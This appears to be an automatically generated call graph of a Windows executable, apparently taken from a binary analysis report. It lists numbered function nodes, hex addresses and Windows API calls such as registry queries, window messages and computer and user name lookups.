46023 463661 46039 4636bf 46023->46039 47095 4603d4 46023->47095 46025 403548 4 API calls 46027 4636f0 46025->46027 46027->45955 46028 4036c4 18 API calls 46029 46367c 46028->46029 46030 4036c4 18 API calls 46029->46030 46031 463689 46030->46031 46032 4036c4 18 API calls 46031->46032 46033 463696 46032->46033 46034 4036c4 18 API calls 46033->46034 46035 4636a4 46034->46035 46036 414d30 18 API calls 46035->46036 46037 4636b2 46036->46037 47098 46070c 46037->47098 46039->46025 46041 4626c0 33 API calls 46040->46041 46043 463dfc 46041->46043 46042 463e30 47234 45ef64 46042->47234 46043->46042 46044 45ef64 21 API calls 46043->46044 46044->46042 46048 463e48 46049 463f2b 46048->46049 46051 463e96 46048->46051 47255 463d98 48 API calls 46048->47255 46053 463fd0 GetSystemMenu EnableMenuItem 46049->46053 46052 4626c0 33 API calls 46051->46052 46052->46049 46054 414d30 18 API calls 46053->46054 46055 463ff0 46054->46055 46056 464005 46055->46056 46057 463ffe 46055->46057 46060 414d30 18 API calls 46056->46060 46058 464003 46057->46058 46059 46402f 46057->46059 46064 414d30 18 API calls 46058->46064 46062 414d30 18 API calls 46059->46062 46061 464019 46060->46061 46065 414d30 18 API calls 46061->46065 46063 464043 46062->46063 46066 414d30 18 API calls 46063->46066 46067 46406d 46064->46067 46068 46402d 46065->46068 46066->46068 46069 414d30 18 API calls 46067->46069 47251 463d38 46068->47251 46069->46068 46072 462784 33 API calls 46076 46410b 46072->46076 46074 4640ab 46074->46072 46075 46416e 46075->45955 46076->46075 46077 487508 32 API calls 46076->46077 46077->46075 46079 4651f0 61 API calls 46078->46079 46080 4776cb 46079->46080 46081 4776d4 46080->46081 47455 408dc4 19 API calls 46080->47455 46083 414d00 18 API calls 46081->46083 46084 4776e4 46083->46084 46085 403598 18 API calls 46084->46085 46086 4776f1 46085->46086 47276 465458 46086->47276 46089 477701 46091 414d00 18 API calls 46089->46091 46092 477711 46091->46092 46093 403598 18 API calls 46092->46093 46094 47771e 46093->46094 46095 463118 SendMessageA 46094->46095 46096 477737 46095->46096 46097 463364 48 API calls 46096->46097 46098 47774d 46097->46098 46099 4634d4 48 API calls 46098->46099 46100 477760 46099->46100 46101 477773 46100->46101 47457 46f754 35 API calls 46100->47457 47305 4243f4 IsIconic 46101->47305 46105 4777a3 47313 476d40 46105->47313 46106 47778e SetActiveWindow 46106->46105 46153->45943 46154->45929 46155->45929 46156->45929 46158 43dbe8 18 API calls 46157->46158 46159 487603 46158->46159 46160 48760a 46159->46160 46161 487683 46159->46161 46163 431108 18 API calls 46160->46163 46162 487692 46161->46162 49154 486e24 18 API calls 46161->49154 46162->45955 46165 487616 46163->46165 46166 487054 18 API calls 46165->46166 46167 487637 46166->46167 49146 48716c 46167->49146 46170 43d7b4 32 API calls 46171 487654 46170->46171 49152 486eb8 18 API calls 46171->49152 46173 48765b 49153 4341a0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 46173->49153 46175 48767b 46175->45955 46176->45927 46177->45955 46179 403567 46178->46179 46180 40354e 46178->46180 46179->45939 46180->46179 46181 402668 4 API calls 46180->46181 46181->46179 46228 465210 46182->46228 46185 414d00 46186 414d0e 46185->46186 46187 403628 18 API calls 46186->46187 46188 414d1b 46187->46188 46188->45967 46189->45976 46191 42c640 46190->46191 46192 42c61e 46190->46192 46194 4035dc 4 API calls 46191->46194 46411 42ca68 CharPrevA 46192->46411 46196 42c649 46194->46196 46195 42c625 46195->46191 46197 42c62f 46195->46197 46196->45979 46412 403708 46197->46412 46199 42c63d 46199->45979 46200->45985 46202 4601ee 46201->46202 46434 407b08 46202->46434 46206 450c4c 46205->46206 46453 450b2c 46206->46453 46209 473bcc 53 API calls 46209->45983 46477 42cdbc 46210->46477 46213 450c5c 46214 450c2c 18 API calls 46213->46214 46215 450c78 46214->46215 46216 473bcc 53 API calls 46215->46216 46216->45981 46217->46001 46219 40359c 46218->46219 46222 4035ac 46218->46222 46221 403604 18 API calls 46219->46221 46219->46222 46220 4035d8 46220->45964 46221->46222 46222->46220 46223 402668 4 API calls 46222->46223 46223->46220 46225 40356e 46224->46225 46226 403593 46225->46226 46227 402668 4 API calls 46225->46227 46226->45975 46227->46225 46229 414d00 18 API calls 46228->46229 46230 465242 46229->46230 46278 46046c 46230->46278 46234 465254 46235 465263 46234->46235 46238 46527c 46234->46238 46292 473bcc 53 API calls 46235->46292 46237 465277 46239 403568 4 API calls 46237->46239 46241 4652c3 46238->46241 46243 4652aa 46238->46243 46240 464716 46239->46240 46240->45964 46240->46185 46242 465320 46241->46242 46256 4652c7 46241->46256 46295 42cc28 CharNextA 46242->46295 46293 473bcc 53 API calls 46243->46293 46246 46532f 46247 465333 46246->46247 46251 46534c 46246->46251 46296 473bcc 53 API calls 46247->46296 46249 465307 46294 473bcc 53 API calls 46249->46294 46250 465370 46299 473bcc 53 API calls 46250->46299 46251->46250 46297 4605dc CharNextA 46251->46297 46255 465360 46255->46250 46298 46060c CharNextA 46255->46298 46256->46249 46256->46251 46258 46536c 46258->46250 46259 465389 46258->46259 46300 4038c0 46259->46300 46263 4653ac 46264 4653b0 46263->46264 46265 4653de 46263->46265 46308 460668 18 API calls 46264->46308 46310 42c9b8 19 API calls 46265->46310 46268 4653e9 46270 42c614 19 API calls 46268->46270 46269 4653c3 46271 450c5c 18 API calls 46269->46271 46272 4653f4 46270->46272 46273 4653d0 46271->46273 46274 42ce28 21 API calls 46272->46274 46309 473bcc 53 API calls 46273->46309 46276 4653fc 46274->46276 46276->46237 46311 473bcc 53 API calls 46276->46311 46282 460486 46278->46282 46279 406c4c 18 API calls 46279->46282 46282->46279 46283 403598 18 API calls 46282->46283 46284 4604cf 46282->46284 46312 42cb98 46282->46312 46321 42cc98 46282->46321 46283->46282 46285 403568 4 API calls 46284->46285 46286 4604e9 46285->46286 46287 414d30 46286->46287 46288 414d00 18 API calls 46287->46288 46289 414d54 46288->46289 46290 403548 4 API calls 46289->46290 46291 414d85 46290->46291 46291->46234 46292->46237 46293->46237 46294->46237 46295->46246 46296->46237 46297->46255 46298->46258 46299->46237 46301 4038f2 46300->46301 46302 4038c5 46300->46302 46303 403548 4 API calls 46301->46303 46302->46301 46304 4038d9 46302->46304 46306 4038e8 46303->46306 46406 403628 46304->46406 46307 42ca88 CharNextA 46306->46307 46307->46263 46308->46269 46309->46237 46310->46268 46311->46237 46331 4035dc 46312->46331 46314 42cba8 46318 42cbde 46314->46318 46335 40388c 46314->46335 46339 42c658 IsDBCSLeadByte 46314->46339 46317 42cc22 46317->46282 46318->46317 46340 403900 46318->46340 46345 42c658 IsDBCSLeadByte 46318->46345 46397 42c7b0 46321->46397 46323 42cca9 46324 42ccbb CharPrevA 46323->46324 46325 42cccf 46323->46325 46324->46323 46326 42cce5 46325->46326 46327 42ccda 46325->46327 46329 4038c0 18 API calls 46326->46329 46328 4035dc 4 API calls 46327->46328 46330 42cce3 46328->46330 46329->46330 46330->46282 46333 4035e0 46331->46333 46332 403602 46332->46314 46333->46332 46346 402668 46333->46346 46336 403892 46335->46336 46338 4038a3 46335->46338 46336->46338 46351 403604 46336->46351 46338->46314 46339->46314 46341 40388c 18 API calls 46340->46341 46343 40390e 46341->46343 46342 403944 46342->46318 46343->46342 46387 4039ec 46343->46387 46345->46318 46347 40266c 46346->46347 46348 402676 46346->46348 46347->46348 46350 403504 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 46347->46350 46348->46332 46348->46348 46350->46348 46352 403624 46351->46352 46353 403608 46351->46353 46352->46338 46356 402650 46353->46356 46355 403611 46355->46338 46357 402654 46356->46357 46359 40265e 46356->46359 46362 402090 46357->46362 46358 40265a 46358->46359 46373 403504 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 46358->46373 46359->46355 46359->46359 46363 4020a4 46362->46363 46364 4020a9 46362->46364 46374 4019d4 RtlInitializeCriticalSection 46363->46374 46365 4020ce RtlEnterCriticalSection 46364->46365 46367 4020d8 46364->46367 46370 4020ad 46364->46370 46365->46367 46367->46370 46381 401f9c 46367->46381 46370->46358 46371 402203 46371->46358 46372 4021f9 RtlLeaveCriticalSection 46372->46371 46373->46359 46375 4019f8 RtlEnterCriticalSection 46374->46375 46376 401a02 46374->46376 46375->46376 46377 401a20 LocalAlloc 46376->46377 46378 401a3a 46377->46378 46379 401a89 46378->46379 46380 401a7f RtlLeaveCriticalSection 46378->46380 46379->46364 46380->46379 46384 401fac 46381->46384 46382 401fd8 46383 401dbc 9 API calls 46382->46383 46386 401ffc 46382->46386 46383->46386 46384->46382 46385 401f14 12 API calls 46384->46385 46384->46386 46385->46384 46386->46371 46386->46372 46388 4039f9 46387->46388 46395 403a29 46387->46395 46389 403a22 46388->46389 46391 403a05 46388->46391 46392 403604 18 API calls 46389->46392 46390 403548 4 API calls 46393 403a13 46390->46393 46396 402680 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 46391->46396 46392->46395 46393->46342 46395->46390 46396->46393 46398 42c7c1 46397->46398 46399 42c821 46398->46399 46403 42c7dd 46398->46403 46401 42c81c 46399->46401 46405 42c658 IsDBCSLeadByte 46399->46405 46401->46323 46403->46401 46404 42c658 IsDBCSLeadByte 46403->46404 46404->46403 46405->46401 46407 403604 18 API calls 46406->46407 46408 403638 46407->46408 46409 403548 4 API calls 46408->46409 46410 403650 46409->46410 46410->46306 46411->46195 46413 40370c 46412->46413 46421 4036c4 46412->46421 46414 403598 46413->46414 46416 40372a 46413->46416 46417 40371c 46413->46417 46413->46421 46419 403604 18 API calls 46414->46419 46422 4035ac 46414->46422 46415 4035d8 46415->46199 46418 403604 18 API calls 46416->46418 46423 403598 18 API calls 46417->46423 46430 40373d 46418->46430 46419->46422 46420 403707 46420->46199 46421->46414 46421->46420 46424 4036d2 46421->46424 46422->46415 46427 402668 4 API calls 46422->46427 46423->46421 46425 4036e5 46424->46425 46426 4036fc 46424->46426 46429 4039ec 18 API calls 46425->46429 46428 4039ec 18 API calls 46426->46428 46427->46415 46432 4036ea 46428->46432 46429->46432 46431 403598 18 API calls 46430->46431 46433 403769 46431->46433 46432->46199 46433->46199 46437 407b1c 46434->46437 46438 407b39 46437->46438 46445 4077cc 46438->46445 46441 407b65 46443 403628 18 API calls 46441->46443 46444 407b17 46443->46444 46444->45992 46448 4077e7 46445->46448 46446 4077f9 46446->46441 46450 406a04 19 API calls 46446->46450 46448->46446 46451 4078ee 33 API calls 46448->46451 46452 4077c0 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 46448->46452 46450->46441 46451->46448 46452->46448 46454 403548 4 API calls 46453->46454 46462 450b5d 46454->46462 46455 403568 4 API calls 46456 450c0c 46455->46456 46456->46209 46457 450b74 46463 4036c4 46457->46463 46458 403628 18 API calls 46458->46462 46459 4036c4 18 API calls 46459->46462 46461 450b88 46461->46455 46462->46457 46462->46458 46462->46459 46462->46461 46464 403707 46463->46464 46465 4036c8 46463->46465 46464->46461 46466 4036d2 46465->46466 46467 403598 46465->46467 46468 4036e5 46466->46468 46469 4036fc 46466->46469 46473 403604 18 API calls 46467->46473 46474 4035ac 46467->46474 46471 4039ec 18 API calls 46468->46471 46470 4039ec 18 API calls 46469->46470 46476 4036ea 46470->46476 46471->46476 46472 4035d8 46472->46461 46473->46474 46474->46472 46475 402668 4 API calls 46474->46475 46475->46472 46476->46461 46478 42cc98 20 API calls 46477->46478 46479 42cdde 46478->46479 46480 42cde6 6CF178A0 46479->46480 46481 403548 4 API calls 46480->46481 46482 42ce03 46481->46482 46482->45981 46482->46213 46483->46010 46485 46326b 46484->46485 46576 463364 46485->46576 46489 463294 46489->46018 46491 407b08 33 API calls 46490->46491 46493 4637bb 46491->46493 46492 463c2a 46494 463c76 46492->46494 46495 463c45 46492->46495 46493->46492 46496 463885 46493->46496 46499 4035dc 4 API calls 46493->46499 46500 4035dc 4 API calls 46494->46500 46498 4035dc 4 API calls 46495->46498 46497 4638a0 46496->46497 46501 4638df 46496->46501 46502 4035dc 4 API calls 46497->46502 46503 463c53 46498->46503 46504 46380d 46499->46504 46505 463c84 46500->46505 46509 403548 4 API calls 46501->46509 46506 4638ae 46502->46506 46781 462c6c 24 API calls 46503->46781 46508 414d00 18 API calls 46504->46508 46782 462c6c 24 API calls 46505->46782 46511 414d00 18 API calls 46506->46511 46512 46382c 46508->46512 46513 4638dd 46509->46513 46516 4638cd 46511->46516 46749 40377c 46512->46749 46520 4639bf 46513->46520 46755 463118 46513->46755 46514 463c61 46515 403548 4 API calls 46514->46515 46518 463ca7 46515->46518 46521 40377c 18 API calls 46516->46521 46525 403548 4 API calls 46518->46525 46519 463a3f 46527 403548 4 API calls 46519->46527 46520->46519 46537 463a00 46520->46537 46521->46513 46524 4638ff 46528 463905 46524->46528 46529 46393b 46524->46529 46530 463caf 46525->46530 46558 463a3d 46527->46558 46532 4035dc 4 API calls 46528->46532 46534 403548 4 API calls 46529->46534 46533 403568 4 API calls 46530->46533 46535 463913 46532->46535 46536 463cbc 46533->46536 46538 463939 46534->46538 46761 4717f8 46535->46761 46536->46019 46542 4035dc 4 API calls 46537->46542 46550 463364 48 API calls 46538->46550 46547 463a0e 46542->46547 46546 463929 46548 40377c 18 API calls 46546->46548 46549 414d00 18 API calls 46547->46549 46548->46538 46551 463a2d 46549->46551 46552 463962 46550->46552 46555 40377c 18 API calls 46551->46555 46559 4639c1 46552->46559 46560 46396d 46552->46560 46553 463ac7 46556 403548 4 API calls 46553->46556 46554 463a73 46557 4035dc 4 API calls 46554->46557 46555->46558 46561 463acf 46556->46561 46566 463a81 46557->46566 46764 4634d4 46558->46764 46563 403548 4 API calls 46559->46563 46562 4035dc 4 API calls 46560->46562 46564 463ac5 46561->46564 46575 463b76 46561->46575 46568 46397b 46562->46568 46563->46520 46564->46561 46777 4874ec 18 API calls 46564->46777 46566->46561 46566->46564 46569 40377c 18 API calls 46566->46569 46567 463af2 46567->46575 46778 487754 32 API calls 46567->46778 46568->46520 46571 40377c 18 API calls 46568->46571 46569->46566 46571->46568 46573 463c17 46780 42935c SendMessageA SendMessageA 46573->46780 46779 42930c SendMessageA 46575->46779 46579 463391 46576->46579 46577 4633f3 46578 403548 4 API calls 46577->46578 46580 46328a 46578->46580 46579->46577 46598 4632b8 48 API calls 46579->46598 46582 462f38 46580->46582 46583 462f6d 46582->46583 46584 403548 4 API calls 46583->46584 46593 462f75 46584->46593 46585 4630ed 46586 403568 4 API calls 46585->46586 46588 463107 46586->46588 46588->46489 46589 4717f8 48 API calls 46589->46593 46590 4603ec LocalAlloc TlsSetValue TlsGetValue TlsGetValue 46591 46305f 46590->46591 46591->46585 46591->46590 46594 44e1d4 OffsetRect InvalidateRect 46591->46594 46593->46589 46593->46591 46597 4035dc 4 API calls 46593->46597 46599 46f264 46593->46599 46611 44c96c 20 API calls 46593->46611 46612 44c990 20 API calls 46593->46612 46613 44c8c0 20 API calls 46593->46613 46594->46591 46597->46593 46598->46579 46600 46f27f 46599->46600 46601 46f340 46600->46601 46604 46f2b0 46600->46604 46620 46efb4 33 API calls 46600->46620 46601->46593 46603 46f2d5 46607 46f2f6 46603->46607 46622 46efb4 33 API calls 46603->46622 46604->46603 46621 46efb4 33 API calls 46604->46621 46607->46601 46608 46f336 46607->46608 46623 451afc 18 API calls 46607->46623 46614 46f100 46608->46614 46611->46593 46612->46593 46613->46593 46615 46f13d 46614->46615 46616 403598 18 API calls 46615->46616 46617 46f162 46616->46617 46624 46e9c8 46617->46624 46619 46f1ad 46619->46601 46620->46604 46621->46603 46622->46607 46623->46608 46625 46e9d6 46624->46625 46637 46e0e0 46625->46637 46628 46e9e6 46687 46e970 33 API calls 46628->46687 46629 46e9f1 46634 46ea16 46629->46634 46688 408e24 33 API calls 46629->46688 46632 46e9ef 46635 46ea49 46632->46635 46689 408e24 33 API calls 46632->46689 46669 46e6f4 46634->46669 46635->46619 46638 46e100 46637->46638 46639 46e136 46638->46639 46640 46e11b 46638->46640 46641 46e277 46639->46641 46642 46e142 46639->46642 46643 46e11d 46640->46643 46644 46e199 46640->46644 46651 403628 18 API calls 46641->46651 46652 46e131 46642->46652 46663 46e1af 46642->46663 46645 46e122 46643->46645 46646 46e15c 46643->46646 46647 403658 18 API calls 46644->46647 46649 46e2a3 46645->46649 46650 46e12b 46645->46650 46648 403548 4 API calls 46646->46648 46668 46e164 46647->46668 46648->46668 46653 403548 4 API calls 46649->46653 46654 46e12e 46650->46654 46655 46e16d 46650->46655 46651->46668 46693 408e24 33 API calls 46652->46693 46666 46e2ab 46653->46666 46654->46652 46658 46e183 46654->46658 46690 403658 46655->46690 46656 403548 4 API calls 46659 46e35d 46656->46659 46660 403658 18 API calls 46658->46660 46659->46628 46659->46629 46660->46668 46662 408df0 18 API calls 46662->46666 46664 403628 18 API calls 46663->46664 46664->46668 46665 403658 18 API calls 46665->46666 46666->46662 46666->46665 46667 4036c4 18 API calls 46666->46667 46666->46668 46667->46666 46668->46656 46670 4035dc 4 API calls 46669->46670 46671 46e71f 46670->46671 46672 46e0e0 33 API calls 46671->46672 46673 46e726 46672->46673 46674 46e0e0 33 API calls 46673->46674 46676 46e79e 46673->46676 46675 46e75a 46674->46675 46700 46e434 33 API calls 46675->46700 46679 46e7c4 46676->46679 46694 46ef90 46676->46694 46697 46ecf4 46676->46697 46678 46e769 46684 46e792 46678->46684 46701 408e24 33 API calls 46678->46701 46681 403548 4 API calls 46679->46681 46683 46e7fb 46679->46683 46681->46679 46682 46e0e0 33 API calls 46682->46676 46683->46632 46684->46682 46687->46632 46688->46634 46689->46635 46691 403628 18 API calls 46690->46691 46692 403665 46691->46692 46692->46668 46693->46668 46695 4875e8 32 API calls 46694->46695 46696 46efae 46695->46696 46696->46679 46702 487508 46697->46702 46699 46ed0e 46699->46679 46700->46678 46701->46684 46717 43dbe8 46702->46717 46705 4875ce 46707 4875de 46705->46707 46748 486e24 18 API calls 46705->46748 46706 487533 46722 431108 46706->46722 46707->46699 46718 431424 18 API calls 46717->46718 46721 43dc12 46718->46721 46719 403548 LocalAlloc TlsSetValue TlsGetValue TlsGetValue 46720 43dc96 46719->46720 46720->46705 46720->46706 46721->46719 46723 43110e 46722->46723 46724 402650 18 API calls 46723->46724 46725 43113e 46724->46725 46726 487054 46725->46726 46727 487129 46726->46727 46731 48706e 46726->46731 46733 43d7b4 46727->46733 46728 408df0 18 API calls 46728->46731 46729 43413c 18 API calls 46729->46731 46730 4311d8 18 API calls 46730->46731 46731->46727 46731->46728 46731->46729 46731->46730 46732 403598 18 API calls 46731->46732 46732->46731 46748->46707 46750 403784 46749->46750 46751 403604 18 API calls 46750->46751 46752 403797 46751->46752 46753 403598 18 API calls 46752->46753 46754 4037bf 46753->46754 46783 42a258 SendMessageA 46755->46783 46757 463127 46758 463147 46757->46758 46784 42a258 SendMessageA 46757->46784 46758->46524 46760 463137 46760->46524 46785 471818 46761->46785 46765 463506 46764->46765 46766 403548 4 API calls 46765->46766 46774 463514 46765->46774 46766->46774 46767 4635f3 46768 403548 4 API calls 46767->46768 46769 463608 46768->46769 46770 403568 4 API calls 46769->46770 46771 463615 46770->46771 46771->46553 46771->46554 46772 4717f8 48 API calls 46772->46774 46774->46767 46774->46772 46775 4035dc 4 API calls 46774->46775 47076 42e554 19 API calls 46774->47076 47077 46341c 48 API calls 46774->47077 46775->46774 46777->46567 46778->46575 46779->46573 46780->46492 46781->46514 46782->46514 46783->46757 46784->46760 46786 4035dc 4 API calls 46785->46786 46794 47184b 46786->46794 46787 471950 46788 403568 4 API calls 46787->46788 46789 471813 46788->46789 46789->46546 46790 403900 18 API calls 46790->46794 46792 4038c0 18 API calls 46792->46794 46794->46787 46794->46790 46794->46792 46797 4709c0 46794->46797 46999 451afc 18 API calls 46794->46999 47000 403948 46794->47000 47004 42ca68 CharPrevA 46794->47004 46798 470a12 46797->46798 46801 4709f0 46797->46801 46799 470a32 46798->46799 46800 470a20 46798->46800 46804 470a95 46799->46804 46805 470a40 46799->46805 46802 4035dc 4 API calls 46800->46802 46801->46798 47009 46f880 33 API calls 46801->47009 46902 470a2d 46802->46902 46814 470ab6 46804->46814 46815 470aa3 46804->46815 46807 470a6f 46805->46807 46808 470a49 46805->46808 46806 403548 4 API calls 46810 471216 46806->46810 46809 470a82 46807->46809 47011 451afc 18 API calls 46807->47011 46811 470a5c 46808->46811 47010 451afc 18 API calls 46808->47010 46813 4035dc 4 API calls 46809->46813 46816 403548 4 API calls 46810->46816 46818 4035dc 4 API calls 46811->46818 46813->46902 46821 470ad7 46814->46821 46822 470ac4 46814->46822 46819 4035dc 4 API calls 46815->46819 46820 47121e 46816->46820 46818->46902 46819->46902 46820->46794 46824 470b27 46821->46824 46825 470ae5 46821->46825 46823 4035dc 4 API calls 46822->46823 46823->46902 46830 470b35 46824->46830 46831 470b48 46824->46831 46826 470b01 46825->46826 46827 470aee 46825->46827 46829 470b14 46826->46829 47012 451afc 18 API calls 46826->47012 46828 4035dc 4 API calls 46827->46828 46828->46902 46833 4035dc 4 API calls 46829->46833 46834 4035dc 4 API calls 46830->46834 46835 470b56 46831->46835 46836 470b69 46831->46836 46833->46902 46834->46902 46837 4035dc 4 API calls 46835->46837 46838 470b77 46836->46838 46839 470b8a 46836->46839 46837->46902 46840 4035dc 4 API calls 46838->46840 46841 470bab 46839->46841 46842 470b98 46839->46842 46840->46902 46844 470bb9 46841->46844 46845 470be8 46841->46845 46843 4035dc 4 API calls 46842->46843 46843->46902 46846 470bd5 46844->46846 46847 470bc2 46844->46847 46850 470bf6 46845->46850 46851 470c25 46845->46851 46849 4035dc 4 API calls 46846->46849 46848 4035dc 4 API calls 46847->46848 46848->46902 46849->46902 46852 470c12 46850->46852 46853 470bff 46850->46853 46856 470c46 46851->46856 46857 470c33 46851->46857 46855 4035dc 4 API calls 46852->46855 46854 4035dc 4 API calls 46853->46854 46854->46902 46855->46902 46859 470c67 46856->46859 46860 470c54 46856->46860 46858 4035dc 4 API calls 46857->46858 46858->46902 46862 470c75 46859->46862 46863 470ca0 46859->46863 46861 4035dc 4 API calls 46860->46861 46861->46902 46864 470c91 46862->46864 46865 470c7e 46862->46865 46868 470cae 46863->46868 46869 470cd9 46863->46869 47013 451afc 18 API calls 46864->47013 46866 4035dc 4 API calls 46865->46866 46866->46902 46870 470cb7 46868->46870 46871 470cca 46868->46871 46874 470ce7 46869->46874 46875 470cf9 46869->46875 46872 4035dc 4 API calls 46870->46872 47014 451afc 18 API calls 46871->47014 46872->46902 46876 4717f8 48 API calls 46874->46876 46877 470d07 46875->46877 46878 470d1a 46875->46878 46876->46902 46879 4035dc 4 API calls 46877->46879 46880 470d35 46878->46880 46881 470d28 46878->46881 46879->46902 46883 470d43 46880->46883 46884 470d50 46880->46884 47015 4539e8 GetComputerNameA 46881->47015 47019 453a24 GetUserNameA 46883->47019 46886 470db3 46884->46886 46887 470d5e 46884->46887 46893 470dc1 46886->46893 46898 470dd4 46886->46898 46888 470d67 46887->46888 46889 470d8d 46887->46889 46890 470d7a 46888->46890 47023 451afc 18 API calls 46888->47023 46891 470da0 46889->46891 47024 451afc 18 API calls 46889->47024 46895 4035dc 4 API calls 46890->46895 46892 4035dc 4 API calls 46891->46892 46892->46902 46897 4035dc 4 API calls 46893->46897 46895->46902 46897->46902 46899 470df5 46898->46899 46900 470de2 46898->46900 46903 470e16 46899->46903 46904 470e03 46899->46904 46901 4035dc 4 API calls 46900->46901 46901->46902 46902->46806 46906 470e37 46903->46906 46907 470e24 46903->46907 46905 4035dc 4 API calls 46904->46905 46905->46902 46909 470e45 46906->46909 46910 470e58 46906->46910 46908 4035dc 4 API calls 46907->46908 46908->46902 46911 4035dc 4 API calls 46909->46911 46912 470e66 46910->46912 46913 470e79 46910->46913 46911->46902 46914 4035dc 4 API calls 46912->46914 46915 470f17 46913->46915 46916 470e8b 46913->46916 46914->46902 46921 470f25 46915->46921 46922 470f60 46915->46922 46917 470e94 46916->46917 46918 470eba 46916->46918 46920 470ea7 46917->46920 47025 451afc 18 API calls 46917->47025 46919 470ecd 46918->46919 47026 451afc 18 API calls 46918->47026 47005 472554 46919->47005 46926 4035dc 4 API calls 46920->46926 46927 470f41 46921->46927 46928 470f2e 46921->46928 46934 470fa0 46922->46934 46935 470f6e 46922->46935 46926->46902 46936 4035dc 4 API calls 46927->46936 46930 4035dc 4 API calls 46928->46930 46930->46902 46942 470fe0 46934->46942 46943 470fae 46934->46943 46938 470f77 46935->46938 46939 470f8e 46935->46939 46936->46902 47028 406e04 33 API calls 46938->47028 46940 4035dc 4 API calls 46939->46940 46940->46902 46948 470fe9 46942->46948 46951 471005 46942->46951 46945 470fb7 46943->46945 46946 470fce 46943->46946 47029 406e04 33 API calls 46945->47029 46947 4035dc 4 API calls 46946->46947 46947->46902 47030 46f91c 48 API calls 46948->47030 46950 470ff4 46954 471023 46951->46954 46955 47103f 46951->46955 47031 46fa68 48 API calls 46954->47031 46959 471054 46955->46959 46960 471070 46955->46960 46964 471085 46960->46964 46965 4710a1 46960->46965 46999->46794 47001 403977 47000->47001 47002 40394c 47000->47002 47001->46794 47003 4039ec 18 API calls 47002->47003 47003->47001 47004->46794 47006 472565 47005->47006 47039 472518 47006->47039 47009->46801 47010->46811 47011->46809 47012->46829 47013->46902 47014->46902 47016 453a16 47015->47016 47018 453a04 47015->47018 47017 403548 4 API calls 47016->47017 47017->47018 47018->46902 47020 453a55 47019->47020 47022 453a43 47019->47022 47021 403548 4 API calls 47020->47021 47021->47022 47022->46902 47023->46890 47024->46891 47025->46920 47026->46919 47028->46902 47029->46902 47030->46950 47040 403548 4 API calls 47039->47040 47041 47252d 47040->47041 47076->46774 47077->46774 47079 472d2c 47078->47079 47082 472cf6 47078->47082 47080 403568 4 API calls 47079->47080 47081 472e2d 47080->47081 47081->46023 47103 4541c0 47082->47103 47084 472df6 47084->46023 47086 4717f8 48 API calls 47091 472da4 47086->47091 47087 4717f8 48 API calls 47088 472d20 47087->47088 47088->47079 47088->47084 47088->47087 47088->47091 47110 46f3a4 47088->47110 47121 472888 47 API calls 47088->47121 47091->47086 47091->47088 47094 472de3 47091->47094 47122 42ca18 47091->47122 47127 42ca40 47091->47127 47132 4729d4 67 API calls 47091->47132 47094->47079 47176 4602e8 47095->47176 47205 44b388 47098->47205 47101 44b388 23 API calls 47102 460729 47101->47102 47102->46039 47104 4541d1 47103->47104 47105 4541d5 47104->47105 47106 4541de 47104->47106 47133 453ec4 47105->47133 47141 453fa4 43 API calls 47106->47141 47109 4541db 47109->47088 47111 46f3b6 47110->47111 47112 46f3ba 47110->47112 47111->47088 47113 403598 18 API calls 47112->47113 47114 46f3c7 47113->47114 47115 46f3e7 47114->47115 47116 46f3cd 47114->47116 47117 46f264 33 API calls 47115->47117 47118 46f264 33 API calls 47116->47118 47119 46f3e3 47117->47119 47118->47119 47120 403548 4 API calls 47119->47120 47120->47111 47121->47088 47170 42c888 47122->47170 47125 4038c0 18 API calls 47126 42ca3a 47125->47126 47126->47091 47128 42c888 IsDBCSLeadByte 47127->47128 47129 42ca50 47128->47129 47130 4038c0 18 API calls 47129->47130 47131 42ca61 47130->47131 47131->47091 47132->47091 47142 42dd88 47133->47142 47135 453ee1 47136 453f2f 47135->47136 47145 453df8 47135->47145 47136->47109 47139 453df8 20 API calls 47140 453f10 RegCloseKey 47139->47140 47140->47109 47141->47109 47143 42dd93 47142->47143 47144 42dd99 6CAA6790 47142->47144 47143->47144 47144->47135 47150 42dcc4 47145->47150 47147 403568 4 API calls 47148 453eaa 47147->47148 47148->47139 47149 453e20 47149->47147 47153 42db84 47150->47153 47154 42dba9 RegQueryValueExA 47153->47154 47155 42dbeb 47154->47155 47161 42dbc9 47154->47161 47156 403548 4 API calls 47155->47156 47157 42dca4 47156->47157 47157->47149 47158 42dbe3 47159 403548 4 API calls 47158->47159 47159->47155 47160 403628 18 API calls 47160->47161 47161->47155 47161->47158 47161->47160 47162 40388c 18 API calls 47161->47162 47163 42dc0b RegQueryValueExA 47162->47163 47163->47154 47164 42dc20 47163->47164 47164->47155 47165 4039ec 18 API calls 47164->47165 47166 42dc66 47165->47166 47167 42dc7a 47166->47167 47169 40388c 18 API calls 47166->47169 47168 403598 18 API calls 47167->47168 47168->47155 47169->47167 47171 42c7b0 IsDBCSLeadByte 47170->47171 47172 42c89d 47171->47172 47173 42c8e6 47172->47173 47175 42c658 IsDBCSLeadByte 47172->47175 47173->47125 47175->47172 47177 4035dc 4 API calls 47176->47177 47178 460316 47177->47178 47193 42da88 47178->47193 47181 42da88 18 API calls 47182 46033a 47181->47182 47183 4601d4 33 API calls 47182->47183 47184 460344 47183->47184 47185 42da88 18 API calls 47184->47185 47186 460353 47185->47186 47201 46024c 47186->47201 47189 42da88 18 API calls 47190 46036c 47189->47190 47191 403548 4 API calls 47190->47191 47192 460381 47191->47192 47192->46028 47194 42db2d 47193->47194 47199 42dab0 47193->47199 47195 403548 4 API calls 47194->47195 47196 42db42 47195->47196 47196->47181 47197 4038c0 18 API calls 47197->47199 47198 403900 18 API calls 47198->47199 47199->47194 47199->47197 47199->47198 47200 403948 18 API calls 47199->47200 47200->47199 47202 46026c 47201->47202 47203 407b08 33 API calls 47202->47203 47204 4602b6 47203->47204 47204->47189 47206 44b390 47205->47206 47207 44b39f 47205->47207 47206->47207 47209 44b1f8 47206->47209 47207->47101 47210 44b224 47209->47210 47211 44b325 47209->47211 47210->47211 47214 44b234 47210->47214 47212 403548 4 API calls 47211->47212 47213 44b33a 47212->47213 47213->47207 47215 414d00 18 API calls 47214->47215 47218 44b25d 47215->47218 47216 4036c4 18 API calls 47217 44b28d 72E5AC50 47216->47217 47223 41a400 47217->47223 47218->47216 47218->47217 47221 44b2c2 47222 44b2dd DrawTextA 72E5B380 47221->47222 47222->47207 47224 41a4c7 47223->47224 47226 41a42b 47223->47226 47225 